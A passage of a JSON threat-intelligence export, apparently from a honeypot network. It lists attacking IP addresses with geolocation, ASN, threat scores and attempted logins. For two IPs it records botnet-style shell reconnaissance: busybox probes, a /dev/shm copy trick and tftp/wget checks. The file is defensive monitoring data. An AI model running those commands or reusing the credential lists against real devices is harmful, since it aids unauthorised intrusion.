      "last_seen": "2026-04-21T01:33:05.564Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T01:29:51.163000+00:00",
        "last_seen_30d": "2026-04-21T01:34:11.771000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "221.14.219.220": {
      "attack_count": 25,
      "first_seen": "2026-04-21T01:35:24.213Z",
      "last_seen": "2026-04-21T01:35:35.690Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "5nWt3P-fF4WosQm5O",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T01:35:24.213000+00:00",
        "last_seen_30d": "2026-04-21T01:36:43.963000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 11
      }
    },
    "61.53.74.244": {
      "attack_count": 24,
      "first_seen": "2026-04-08T12:57:54.943Z",
      "last_seen": "2026-04-08T13:00:30.431Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T12:57:54.943000+00:00",
        "last_seen_30d": "2026-04-08T13:01:31.220000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "43.229.20.42": {
      "attack_count": 23,
      "first_seen": "2026-04-30T01:53:31.396Z",
      "last_seen": "2026-04-30T01:53:33.946Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "7ujMko0admin",
        "default",
        "klv1234",
        "meinsm"
      ],
      "commands_executed": [
        "q",
        "shell",
        "system",
        "/bin/busybox HIMHA",
        "cat /proc/mounts; /bin/busybox HIMHA",
        "cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HIMHA",
        "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s",
        "enable",
        "rm .s; exit",
        "sh",
        "tftp; wget; /bin/busybox HIMHA",
        "while read i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Bogor",
      "asn": 23949,
      "as_org": "PT Comtronics Systems",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T01:53:31.396000+00:00",
        "last_seen_30d": "2026-04-30T01:54:36.973000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 2
      }
    },
    "221.144.162.140": {
      "attack_count": 22,
      "first_seen": "2026-04-10T11:49:49.733Z",
      "last_seen": "2026-04-10T11:49:53.007Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root",
        "guest"
      ],
      "passwords_attempted": [
        "founder88",
        "friend",
        "jvbzd"
      ],
      "commands_executed": [
        "q",
        "shell",
        "system",
        "/bin/busybox MSRCP",
        "cat /proc/mounts; /bin/busybox MSRCP",
        "cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MSRCP",
        "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s",
        "enable",
        "rm .s; exit",
        "sh",
        "tftp; wget; /bin/busybox MSRCP",
        "while read i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T11:49:49.733000+00:00",
        "last_seen_30d": "2026-04-10T11:50:59.425000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 2
      }
    },
    "207.154.236.153": {
      "attack_count": 20,
      "first_seen": "2026-04-01T05:31:29.056Z",
      "last_seen": "2026-04-01T05:31:30.553Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "GET /v2/_catalog HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.3,
        "persistence": 1.7,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 107,
        "days_active_30d": 2,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T05:31:29.056000+00:00",
        "last_seen_30d": "2026-04-02T03:48:58.756000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Cowrie": 20,
        "Honeytrap": 7
      }
    },
    "103.7.11.194": {
      "attack_count": 18,
      "first_seen": "2026-04-30T13:56:51.267Z",
      "last_seen": "2026-04-30T13:58:24.141Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 38532,
      "as_org": "Exabytes Network Singapore Pte. Ltd.",
      "threat_score": 27.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T13:56:51.267000+00:00",
        "last_seen_30d": "2026-04-30T13:59:24.819000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 10
      }
    },
    "45.167.149.142": {
      "attack_count": 18,
      "first_seen": "2026-04-26T13:40:48.337Z",
      "last_seen": "2026-04-26T13:55:14.199Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Palotina",
      "asn": 268016,
      "as_org": "ZN DIGITAL PALOTINA LTDA ME",
      "threat_score": 23.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T13:40:48.337000+00:00",
        "last_seen_30d": "2026-04-26T13:56:18.233000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 12
      }
    },
    "122.96.48.240": {
      "attack_count": 16,
      "first_seen": "2026-04-04T02:07:23.191Z",
      "last_seen": "2026-04-04T02:10:37.580Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T02:07:23.191000+00:00",
        "last_seen_30d": "2026-04-04T02:11:46.322000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "160.119.76.43": {
      "attack_count": 15,
      "first_seen": "2026-04-20T12:21:23.426Z",
      "last_seen": "2026-04-22T15:46:57.750Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "scan"
      ],
      "passwords_attempted": [
        ""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 56.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 1061,
        "days_active_30d": 3,
        "ports_targeted_30d": 96,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-04-20T12:14:46.073000+00:00",
        "last_seen_30d": "2026-04-22T15:52:18.109000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 729,
        "Honeytrap": 232,
        "Dionaea": 36,
        "Miniprint": 17,
        "Cowrie": 15,
        "ConPot": 8,
        "Redishoneypot": 8,
        "H0neytr4p": 5,
        "Honeyaml": 5,
        "Tanner": 5,
        "ElasticPot": 1
      }
    },
    "66.97.42.71": {
      "attack_count": 15,
      "first_seen": "2026-04-10T15:09:01.994Z",
      "last_seen": "2026-04-10T23:01:05.190Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        ".2026kelltech",
        "Kelltech#2026",
        "kelltech#123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Rosario",
      "asn": 27823,
      "as_org": "Dattatec.com",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T15:09:01.994000+00:00",
        "last_seen_30d": "2026-04-10T23:02:08.358000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "103.140.127.215": {
      "attack_count": 14,
      "first_seen": "2026-04-03T17:31:37.600Z",
      "last_seen": "2026-04-03T17:34:24.464Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        " ",
        "!Q2w3e4r"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T17:31:37.600000+00:00",
        "last_seen_30d": "2026-04-03T17:35:34.395000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 7
      }
    },
    "176.65.148.141": {
      "attack_count": 10,
      "first_seen": "2026-04-17T11:07:19.138Z",
      "last_seen": "2026-04-22T08:44:12.104Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T11:07:19.138000+00:00",
        "last_seen_30d": "2026-04-22T08:45:13.300000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 10
      }
    },
    "1.158.100.240": {
      "attack_count": 8,
      "first_seen": "2026-04-27T01:04:07.434Z",
      "last_seen": "2026-04-27T01:12:07.682Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T01:04:07.434000+00:00",
        "last_seen_30d": "2026-04-27T01:13:10.893000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "115.55.10.115": {
      "attack_count": 8,
      "first_seen": "2026-04-29T16:04:45.642Z",
      "last_seen": "2026-04-29T16:05:37.078Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T16:04:45.642000+00:00",
        "last_seen_30d": "2026-04-29T16:06:45+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "205.210.31.96": {
      "attack_count": 8,
      "first_seen": "2026-04-18T10:35:42.570Z",
      "last_seen": "2026-04-24T16:33:13.071Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 135,
        "days_active_30d": 29,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T19:56:36+00:00",
        "last_seen_30d": "2026-04-29T23:43:04.623000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 86,
        "Honeytrap": 33,
        "Cowrie": 8,
        "ConPot": 4,
        "Dionaea": 3,
        "Sentrypeer": 1
      }
    },
    "5.101.64.6": {
      "attack_count": 8,
      "first_seen": "2026-04-23T08:17:01.429Z",
      "last_seen": "2026-04-28T11:02:41.968Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 34665,
      "as_org": "Petersburg Internet Network ltd.",
      "threat_score": 73.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.3,
        "persistence": 22.5,
        "diversity": 10,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 135,
        "days_active_30d": 27,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-02T20:44:19.491000+00:00",
        "last_seen_30d": "2026-04-28T11:03:49.797000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 104,
        "Tanner": 14,
        "Cowrie": 8,
        "H0neytr4p": 7,
        "Ciscoasa": 2
      }
    },
    "185.247.137.26": {
      "attack_count": 6,
      "first_seen": "2026-04-01T05:11:56.947Z",
      "last_seen": "2026-04-01T05:11:59.697Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 7.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 9,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T05:11:56.947000+00:00",
        "last_seen_30d": "2026-04-09T14:30:22.695000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6
      }
    },
    "45.142.154.43": {
      "attack_count": 6,
      "first_seen": "2026-04-17T18:24:53.795Z",
      "last_seen": "2026-04-17T18:25:09.054Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9465,
      "as_org": "AGOTOZ PTE. LTD.",
      "threat_score": 31.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.4,
        "persistence": 10.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 12,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-09T21:39:16+00:00",
        "last_seen_30d": "2026-04-20T09:59:04.379000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Honeytrap": 10,
        "Cowrie": 6
      }
    },
    "66.132.172.186": {
      "attack_count": 6,
      "first_seen": "2026-04-23T19:35:21.494Z",
      "last_seen": "2026-04-23T19:36:13.678Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 29,
        "ports_targeted_30d": 49,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-02T02:00:57+00:00",
        "last_seen_30d": "2026-04-30T21:58:00.875000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 106,
        "Honeytrap": 63,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Dionaea": 2
      }
    },
    "8.221.136.6": {
      "attack_count": 6,
      "first_seen": "2026-04-08T09:41:41.915Z",
      "last_seen": "2026-04-08T09:41:46.023Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 10.8,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 13,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-04T22:37:25+00:00",
        "last_seen_30d": "2026-04-16T03:16:54.144000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Dionaea": 3
      }
    },
    "207.46.224.87": {
      "attack_count": 5,
      "first_seen": "2026-04-24T10:11:24.203Z",
      "last_seen": "2026-04-24T10:11:25.677Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "passwd"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T10:04:38.947000+00:00",
        "last_seen_30d": "2026-04-24T10:12:26.723000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "47.254.234.203": {
      "attack_count": 5,
      "first_seen": "2026-04-01T09:27:39.209Z",
      "last_seen": "2026-04-03T19:05:35.284Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 4.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 5,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T09:27:39.209000+00:00",
        "last_seen_30d": "2026-04-05T11:13:16.343000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 5,
        "Honeytrap": 2
      }
    },
    "103.153.73.48": {
      "attack_count": 4,
      "first_seen": "2026-04-01T13:49:00.111Z",
      "last_seen": "2026-04-01T13:49:31.769Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T13:49:00.111000+00:00",
        "last_seen_30d": "2026-04-01T13:50:34.785000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "134.209.252.223": {
      "attack_count": 4,
      "first_seen": "2026-04-07T04:30:47.954Z",
      "last_seen": "2026-04-07T04:30:48.523Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.1,
        "persistence": 4.2,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 5,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-05T15:31:46+00:00",
        "last_seen_30d": "2026-04-09T12:53:59.020000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 33,
        "Honeytrap": 12,
        "Cowrie": 4,
        "Ipphoney": 2
      }
    },
    "180.76.145.111": {
      "attack_count": 4,
      "first_seen": "2026-04-04T22:45:02.471Z",
      "last_seen": "2026-04-04T22:45:03.375Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
